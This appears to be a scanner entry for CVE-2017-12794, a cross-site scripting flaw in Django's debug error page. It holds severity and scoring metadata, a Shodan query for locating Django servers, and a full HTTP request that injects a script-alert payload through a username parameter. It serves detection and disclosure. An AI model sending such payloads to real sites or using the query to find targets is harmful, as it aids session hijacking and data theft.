| Title | Django Debug Page - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project. |
| CVSS Score | 6.1 |
| EPSS Score | 0.18768 |
| CVE ID | CVE-2017-12794 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:djangoproject:django" |
| Tags | cve2017 cve xss django djangoproject vuln |
Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.
GET /create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12794.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-12794.pcap
N/AN/A